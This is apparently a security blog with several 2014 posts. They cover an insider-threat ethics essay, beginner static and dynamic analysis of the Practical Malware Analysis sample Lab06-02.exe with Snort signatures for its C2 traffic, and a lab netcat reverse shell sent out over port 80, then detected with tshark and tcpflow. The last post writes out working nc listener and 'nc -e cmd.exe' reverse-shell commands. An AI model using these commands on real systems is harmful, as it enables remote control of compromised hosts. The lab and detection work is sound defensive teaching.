Tuesday, September 23, 2014

Ethics vs Morals in Cyber Security, the Insider threat

Having to choose between ethics and morals can sometimes leave an individual to make a choice which in the end, they may have wish they didn’t make. If we consider the cases of Thomas Drake, Edward Snowden and PFC Bradley Manning, we see while the end results were the same, the processes were not. Thomas Drake allegedly tried a number of avenues to have his concerns addressed (ZETTER, 2010)before he went to the media. Contrasting Drake’s action with Edward Snowden’s (HOSENBALL, 2013) or PFC Bradley Manning (POULSEN & ZETTER, 2010), shows while similar they are not necessarily the same.

Ethics is referred to as a set of principles while morals relates to ones beliefs (thewritingsite.org, 2012). Considering those definitions, it is clear that Drake faced a moral dilemma after trying everything ethically possible. Before communicating with the media, it is reported that he spoke to his superiors, then looked to congress, then went to the Defense Department (ZETTER, 2010). Clearly, one can conclude that these were not the actions of someone who was just focused on simply leaking classified information.  He seemed to have been more concerned about discussing the implications of replacing the ThinThread program with one called TrailBlazer. Looking at the actions of Drake, Snowden and Manning from the perspective of the end result may blur the true intent of these various actions.

While it can be debated as to whether the actions of Drake, Manning or Snowden were ethically/unethically or morally/immorally driven, there are cases where one can clearly draw a conclusion.  An administrator who knowingly hosts porn on company servers (Harbert, 2011) along with other illegal activities can be considered as unethical. As an administrator, this employee was entrusted with keeping the company assets and its reputations protected. This employee can and should face the full brunt of the law. 

Considering the preceding paragraphs:

What dilemma do you see with ethics vs morals, as in relates to the insider threat and Cyber Security?

Do you think that the actions of Thomas Drake, Edward Snowden and PFC Bradley Manning should be judged using the same set of criteria? If Yes or No, please elaborate

How would you go about protecting your organization from an Insider Threat?

(2012, 03 12). Retrieved from thewritingsite.org: http://www.thewritingsite.org/ethics-morals/
Harbert, T. (2011, 01 18). Retrieved from computerworld.com: http://www.computerworld.com/s/article/9204581/Security_fail_When_trusted_IT_people_go_bad?taxonomyId=17&pageNumber=1
HOSENBALL, M. (2013, 08 15). Retrieved from reuters.com: http://www.reuters.com/article/2013/08/15/us-usa-security-snowden-dell-idUSBRE97E17P20130815
POULSEN, K., & ZETTER, K. (2010, 06 06). Retrieved from wired.com: http://www.wired.com/2010/06/leak/

ZETTER, K. (2010, 07 14). http://www.wired.com/2010/07/thomas-drake/. Retrieved from wired.com: http://www.wired.com/2010/07/thomas-drake/

Monday, September 1, 2014

Beginning Malware Analysis using what we learnt during the static and dynamic analysis to improve our security

In the previous 2 posts, we spent the time to learn about a suspicious file. How we then use this knowledge is extremely important in defending our network. We can use the information to develop rules for our antivirus, IDS/IPS, SIEM, etc.

In this post we will write a signature for snort to detect this traffic on our sensors.

If we look back at the previous post we can see there are two types of packets. The first is the DNS and second is HTTP. In both cases, this traffic is leaving our network.

Let's first create a signature for the DNS Packet.
alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"Lab06-02.exe DNS Traffic detected"; content:"practicalmalwareanalysis"; nocase; priority: 1; classtype:misc-attack; sid:1000000)

Now let's create a signature based on the HTTP packet
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Lab06-02.exe HTTP Traffic detected"; content:"cc.htm"; content:"User-Agent|3A 20|Internet|20|Explorer|20|7|2E|5/pma"; nocase;  priority: 1; classtype:misc-attack; sid:1000001)

Now that we have these two rules, the next time this traffic passes through our IDS/IPS, we can be notified with messages similar to below.

root@securitynik:~# snort -c /etc/snort/snort.conf -A console -q 
08/13-16:03:27.602476  [**] [1:1000000:0] Lab06-02.exe DNS Traffic detected [**] [Classification: Misc Attack] [Priority: 1] {UDP} ->
08/13-16:03:27.613147  [**] [1:1000001:0] Lab06-02.exe HTTP Traffic detected [**] [Classification: Misc Attack] [Priority: 1] {TCP} ->

Being able to draw conclusions on any suspect file or known malicious file is extremely important. Obviously there is a lot more which can be done to learn about the suspect executable. In this case we were just trying to do some basic analysis to allow us to draw a conclusion.


Beginning Dynamic Malware Analysis

In the previous post, we performed some basic static analysis to learn about a suspect file. In this post we will perform so basic dynamic analysis.

Without further ado, let's get started.

First let's use RegShot to take a capture of the registry. Once we have completed running the executable, we will then take another snapshot of the registry. We will then compare the two to see what changes may have been made by the suspected malicious code.

Once we have taken the first snapshot of the registry we will next use Process Monitor from the sysinternals suite of tools to learn about the malware during it's execution. We will "Add" and "Apply" a filter to focus on the malware.exe file. We need to consider that any process spawned as a result of the "lab06-02.exe" may not be seen in this filter. 

Once we run the "lab06-02.exe" file we can see the following in Process Monitor.

A snapshot of the output shows that once the process started, it performed a number of actions. Some of these include creating files in the "Windows\Prefetch" directory. It also Queried some Directories, etc.

At this point, we can take a second shot of the registry using regshot and compare the two shots.

If we remember, during the static analysis, it was identified that "lab06-02.exe" was using "WINNET.DLL". This suggest to me that some networking functionality is being used. Let's see if this is true.

To identify any networking functionality, we will run wireshark in the background on the windows system and tcpdump on the Kali System, while we also use INetSim. INetSim will be running on the Kali Box.

The windowsXP system, will be configured to use the  kali box for DNS services.

So having started up INetSim, we see the following.
INetSim 1.2.4 (2013-08-15) by Matthias Eckert & Thomas Hungenberg
Using log directory:      /usr/share/inetsim/log/
Using data directory:     /usr/share/inetsim/data/
Using report directory:   /usr/share/inetsim/report/
Using configuration file: /usr/share/inetsim/conf/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 3634) ===
Session ID:     3634
Listening on:
Real Date/Time: 2014-08-13 12:59:56
Fake Date/Time: 2014-08-13 12:59:56 (Delta: 0 seconds)
 Forking services...
  * finger_79_tcp - started (PID 3648)
  * time_37_tcp - started (PID 3651)
  * discard_9_tcp - started (PID 3657)
  * ntp_123_udp - started (PID 3647)
  * quotd_17_udp - started (PID 3660)
  * daytime_13_udp - started (PID 3654)
  * chargen_19_udp - started (PID 3662)
  * dns_53_tcp_udp - started (PID 3636)
  * tftp_69_udp - started (PID 3645)
  * syslog_514_udp - started (PID 3650)
  * echo_7_tcp - started (PID 3655)
  * ident_113_tcp - started (PID 3649)
  * irc_6667_tcp - started (PID 3646)
  * echo_7_udp - started (PID 3656)
  * chargen_19_tcp - started (PID 3661)
  * time_37_udp - started (PID 3652)
  * discard_9_udp - started (PID 3658)
  * daytime_13_tcp - started (PID 3653)
  * quotd_17_tcp - started (PID 3659)
  * dummy_1_udp - started (PID 3664)
  * dummy_1_tcp - started (PID 3663)
  * ftps_990_tcp - started (PID 3644)
  * smtps_465_tcp - started (PID 3640)
  * smtp_25_tcp - started (PID 3639)
  * pop3_110_tcp - started (PID 3641)
  * ftp_21_tcp - started (PID 3643)
  * pop3s_995_tcp - started (PID 3642)
  * http_80_tcp - started (PID 3637)
  * https_443_tcp - started (PID 3638)
Simulation running.

Let's now take a look at our netstat output 
root@securitynik:~# netstat -nltup | grep -i inetsim
tcp        0      0  *               LISTEN      3663/inetsim_dummy_
tcp        0      0*               LISTEN      3642/inetsim_pop3s_
tcp        0      0 *               LISTEN      3651/inetsim_time_3
tcp        0      0  *               LISTEN      3655/inetsim_echo_7
tcp        0      0  *               LISTEN      3657/inetsim_discar
tcp        0      0*               LISTEN      3646/inetsim_irc_66
tcp        0      0 *               LISTEN      3653/inetsim_daytim
tcp        0      0*               LISTEN      3641/inetsim_pop3_1
tcp        0      0 *               LISTEN      3648/inetsim_finger
tcp        0      0 *               LISTEN      3637/inetsim_http_8
tcp        0      0*               LISTEN      3640/inetsim_smtps_
tcp        0      0 *               LISTEN      3659/inetsim_quotd_
tcp        0      0*               LISTEN      3649/inetsim_ident_
tcp        0      0 *               LISTEN      3661/inetsim_charge
tcp        0      0 *               LISTEN      3643/inetsim_ftp_21
tcp        0      0 *               LISTEN      3636/inetsim_dns_53
tcp        0      0 *               LISTEN      3639/inetsim_smtp_2
tcp        0      0*               LISTEN      3638/inetsim_https_
tcp        0      0*               LISTEN      3644/inetsim_ftps_9
udp        0      0 *                           3652/inetsim_time_3
udp        0      0 *                           3636/inetsim_dns_53
udp        0      0 *                           3645/inetsim_tftp_6
udp        0      0*                           3647/inetsim_ntp_12
udp        0      0  *                           3664/inetsim_dummy_
udp        0      0*                           3650/inetsim_syslog
udp        0      0  *                           3656/inetsim_echo_7
udp        0      0  *                           3658/inetsim_discar
udp        0      0 *                           3654/inetsim_daytim
udp        0      0 *                           3660/inetsim_quotd_
udp        0      0 *                           3662/inetsim_charge

From the above it looks like INetSim is ready to accept connections. Let's now execute "lab06-02.exe" once again.

Once we executed the "lab06-02.exe" file, communication occurs over the network. We then next stop INetSim to take a look at its report.

Simulation stopped.
 Report written to '/usr/share/inetsim/report/report.3634.txt' (12 lines)
=== INetSim main process stopped (PID 3634) ===

root@securitynik:~# cat /usr/share/inetsim/report/report.3634.txt | more
root@securitynik:~# cat /usr/share/inetsim/report/report.3634.txt | more
=== Report for session '3634' ===

Real start date            : 2014-08-13 12:59:56
Simulated start date       : 2014-08-13 12:59:56
Time difference on startup : none

2014-08-13 13:01:58  First simulated date in log file
2014-08-13 13:01:58  DNS connection, type: A, class: IN, requested name: www.practicalmalwareanalysis.com
2014-08-13 13:01:58  HTTP connection, method: GET, URL: http://www.practicalmalwareanalysis.com/cc.htm, fil
e name: /usr/share/inetsim/data/http/fakefiles/sample.html
2014-08-13 13:01:58  Last simulated date in log file

As can be seen from above, the suspect file did a DNS lookup for "www.practicalmalwareanalysis.com". Once that was completed it then did a HTTP GET for "http://www.practicalmalwareanalysis.com/cc.htm".

Let's take a look at our packet capture to see if this is so.
Looking a the 12 packets capture showed as follows

root@securitynik:~# tshark -n -r lab06-02.pcap 

  1   0.000000 ->   DNS 94 Standard query 0xae4f  A www.practicalmalwareanalysis.com
  2   0.012583 ->   DNS 110 Standard query response 0xae4f  A
  3   0.013423 ->   TCP 64 1070 > 80 [SYN] Seq=1617531236 Win=64240 Len=0 MSS=1460 SACK_PERM=1
  4   0.013456 ->   TCP 64 80 > 1070 [SYN, ACK] Seq=4292021235 Ack=1617531237 Win=29200 Len=0 MSS=1460 SACK_PERM=1
  5   0.013720 ->   TCP 62 1070 > 80 [ACK] Seq=1617531237 Ack=4292021236 Win=64240 Len=0
  6   0.014458 ->   HTTP 159 GET /cc.htm HTTP/1.1 
  7   0.014471 ->   TCP 56 80 > 1070 [ACK] Seq=4292021236 Ack=1617531340 Win=29200 Len=0
  8   0.030540 ->   TCP 206 [TCP segment of a reassembled PDU]
  9   0.033710 ->   HTTP 314 HTTP/1.1 200 OK  (text/html)
 10   0.034910 ->   TCP 62 1070 > 80 [ACK] Seq=1617531340 Ack=4292021645 Win=63832 Len=0
 11   0.034938 ->   TCP 62 1070 > 80 [FIN, ACK] Seq=1617531340 Ack=4292021645 Win=63832 Len=0
 12   0.034952 ->   TCP 56 80 > 1070 [ACK] Seq=4292021645 Ack=1617531341 Win=29200 Len=0

Let's peer into the HTTP Packets to see what's there.
root@securitynik:~# tshark -n -r lab06-02.pcap  -z "follow,tcp,ascii,,"

Follow: tcp,ascii
Filter: ((ip.src eq and tcp.srcport eq 1070) and (ip.dst eq and tcp.dstport eq 80)) or ((ip.src eq and tcp.srcport eq 80) and (ip.dst eq and tcp.dstport eq 1070))
Node 0:
Node 1:
GET /cc.htm HTTP/1.1
User-Agent: Internet Explorer 7.5/pma
Host: www.practicalmalwareanalysis.com

HTTP/1.1 200 OK
Server: INetSim HTTP Server
Connection: Close
Content-Length: 258
Content-Type: text/html
Date: Wed, 13 Aug 2014 17:01:58 GMT

    <title>INetSim default HTML page</title>
    <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
    <p align="center">This file is an HTML document.</p>

Awesome, from the above we see what the host requested and the server (INetSim) responded with a response to satisfy the request.

So now that's we've done some basic static and dynamic analysis & have learnt alot about the suspected malicious file, how do we use the knowledge we have gained? We will answer this question in the next post.


Beginning Static Malware Analysis

In the next two post, we will perform some basic malware analysis to learn enough information about a particular .exe to see if we can draw a conclusion, as to what it may be doing. Maybe enough to develop a signature for an IPS/IDS.

In this first post, we will focus on static analysis. This is where we will try to learn about the executable without executing it. So without further ado, let's get started.

We will use will use the "lab06-02.exe" from "Practical Malware Analysis"

Our topology consists of a a WindowsXP box at and a Kali Box at
Both of the above are virtual machines running on virtual box, Host Only Mode.

If we suspect that a file may be malicious, one of the first things we should do is grab its hash value and compare that against virus total. For my lab I will use md5deep suite of tools to obtain the sha-256 value of this executable.

C:\Malware Analysis Toolkit\md5deep-4.3>sha256deep.exe c:\malware\Lab06-02.exe
b71777edbf21167c96d20ff803cbcb25d24b94b3652db2f286dcd6efd3d8416a  c:\malware\Lab06-02.exe

From the above, we see that 4 out of 53 AV engines think this is malicious. 

Time to dig a little deeper.

Next let's  see if there is/are any identifiable strings in this Lab06-02.exe. For this we will use the sysinternals strings utility.

C:\Malware Analysis Toolkit\SysinternalsSuite>strings.exe c:\malware\Lab06-02.exe | more

From above, we can see a number of Windows Functions are being called.

One of things that is normally done to allow malware to go undetectable is to pack the .exe file. Let's see if this file is packed in any way using PEiD

From the above, we can say our application is not packed and it was built with Microsoft visual C++ 6.0. In addition, from the subsystem, we can tell it is a Win32 console application as opposed to a GUI application.

Let's use the PEView tool to see what else we can learn about this .exe.

One of the things we identify from above is the date the file was created by the linker. Which seems to be 2011/02/02 Wed 21:29:05 UTC

Let's get another perspective from a different tool. This time, let's use dependency walker.

From the above, we can see a list of Windows DLL and functions associated with them.

In this post we have gathered some information about the file and what it may be doing, without executing the file.

In the next post, we will focus on executing the file to see what it may be trying to do.


Analysing a Netcat reverse shell using tcpflow

In the previous post we analyzed the netcat reverse shell session using tshark. Let's try something different. This time we will use tcpflow.

root@securitynik:~/security-nik# tcpflow -e -r netcat.pcap -v 

Once we execute the above command, a set of files will be created in our current directory.

root@securitynik:~/security-nik# tcpflow -e -r netcat.pcap -v 
tcpflow[4334]: tcpflow version 0.21 by Jeremy Elson <jelson@circlemud.org>
tcpflow[4334]: looking for handler for datalink type 1 for interface netcat.pcap
tcpflow[4334]: found max FDs to be 16 using OPEN_MAX
tcpflow[4334]: new flow
tcpflow[4334]: new flow
tcpflow[4334]: opening new output file
tcpflow[4334]: opening new output file

From the above, we see two files were created. If we cat each of these files we can see the contents of the packets. Let's try that.

root@securitynik:~/security-nik# cat
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

 Volume in drive C has no label.
 Volume Serial Number is 8C53-5EB0

 Directory of C:\nc

08/10/2014  07:07 PM    <DIR>          .
08/10/2014  07:07 PM    <DIR>          ..
12/28/2004  12:23 PM            12,166 doexec.c
07/09/1996  05:01 PM             7,283 generic.h
11/06/1996  11:40 PM            22,784 getopt.c
11/03/1994  08:07 PM             4,765 getopt.h
02/06/1998  04:50 PM            61,780 hobbit.txt
12/27/2004  06:37 PM            18,009 license.txt
09/17/2011  12:46 AM               300 Makefile
09/17/2011  12:52 AM            38,616 nc.exe
09/17/2011  12:52 AM            45,272 nc64.exe
09/17/2011  12:44 AM            69,850 netcat.c
09/17/2011  12:45 AM             6,885 readme.txt
              11 File(s)        287,710 bytes
               2 Dir(s)  11,115,757,568 bytes free

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

The above looks quite interesting. It even took less work that tshark :-)

Let's see what the second file has.
root@securitynik:~/security-nik# cat 

Looks like the second file shows the commands which were executed.

within the 3 previous posts, we setup and detected NetCat reverse shell.


Analysing a Netcat reverse shell using tshark

In the previous post we captured the traffic from our Netcat reverse shell.
root@securitynik:~# tcpdump -nnvvi eth0 port 80 -w netcat.pcap

If we look at the capture, we see this looks like regular web traffic
root@securitynik:~/security-nik# tshark -n -r netcat.pcap | more
  1   0.000000 ->   TCP 62 1054 > 80 [SYN] Seq=1798455989 Win=64240 Len=0 MSS=1460 
  2   0.000046 ->   TCP 62 80 > 1054 [SYN, ACK] Seq=2472702830 Ack=1798455990 Win=2
9200 Len=0 MSS=1460 SACK_PERM=1
  3   0.000353 ->   TCP 60 1054 > 80 [ACK] Seq=1798455990 Ack=2472702831 Win=64240 
  4   0.054371 ->   HTTP 144 Continuation or non-HTTP traffic
  5   0.054401 ->   TCP 54 80 > 1054 [ACK] Seq=2472702831 Ack=1798456080 Win=29200 

There is nothing that looks suspicious from the above capture. However, if we look into the packet, there are more interesting things to be seen. Let's see what we get when we follow the TCP stream:

tshark -n -r netcat.pcap -z "follow,tcp,ascii,,"
Follow: tcp,ascii
Filter: ((ip.src eq and tcp.srcport eq 1054) and (ip.dst eq and tcp.dstport eq 80)) o
r ((ip.src eq and tcp.srcport eq 80) and (ip.dst eq and tcp.dstport eq 1054))
Node 0:
Node 1:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.




 Volume in drive C has no label.
 Volume Serial Number is 8C53-5EB0

 Directory of C:\nc

08/10/2014  07:07 PM    <DIR>          .

08/10/2014  07:07 PM    <DIR>          ..
12/28/2004  12:2
3 PM            12,166 doexec.c
07/09/1996  05:01 PM             7,283 generic.h
11/06/1996  11:40 PM            22,784 getopt.c
11/03/1994  08:07 PM             4,765 getopt.h
02/06/1998  04:50 PM            61,780 hobbit.txt
12/27/2004  06:37 PM            18,009 license.txt
09/17/2011  12:46 AM               300 Makefile
09/17/2011  12:52 AM            38,616 nc.exe
09/17/2011  12:52 AM            45,272 nc64.exe
09/17/2011  12:44 AM            69,850 netcat.c
09/17/2011  12:45 AM             6,885 readme.txt
              11 File(s)        287,710 bytes
               2 Dir(s)  11,115,757,568 bytes free






Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


From the above we can see that the shell was sent outside and the user on the remote host was able to do a "dir".


Setup and detect netcat reverse shell

In most cases (if not all), a firewall is typically placed between the Internet and the internal network. While a firewall helps in keeping out the bad guys, what happens when the bad guys are already in, is another issue.

In this post, we will assume, the bad guy has already gained access to a system on the internal network. In addition, since we know most firewalls have port 80 open, we will send a (reverse) shell outside of the firewall to our bad guy. If we have an IPS in place this should detect this type of traffic. However, if not our firewall will more than likely allow this traffic through.

Our topology for this lab will be as follows:
Windows XP host - internal network
Bad guy - Internet -

While performing this lab, we will also capture the traffic using
root@securitynik:~# tcpdump -nnvvi eth0 port 80 -w netcat.pcap

NetCat Listener on bad guy: 
root@securitynik:~# nc -nnvl -p 80 -4
nc: listening on 80 ...

Now that we have our netcat listener and we already have access to the computer on the internal LAN, let's send the shell outside of the firewall. 

C:\nc>nc -nnvv 80 -e c:\windows\system32\cmd.exe
(UNKNOWN) [] 80 (?) open

As can be seen the connection was opened successfully. If we look at the console of the bad guy's computer we see the following

root@securitynik:~# nc -nnvl -p 80 -4

nc: listening on 80 ...
nc: connect to 80 from 1059
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


From the above, we see we now have full shell access to the system. To confirm what we've done, let's use the next post to analyze our traffic.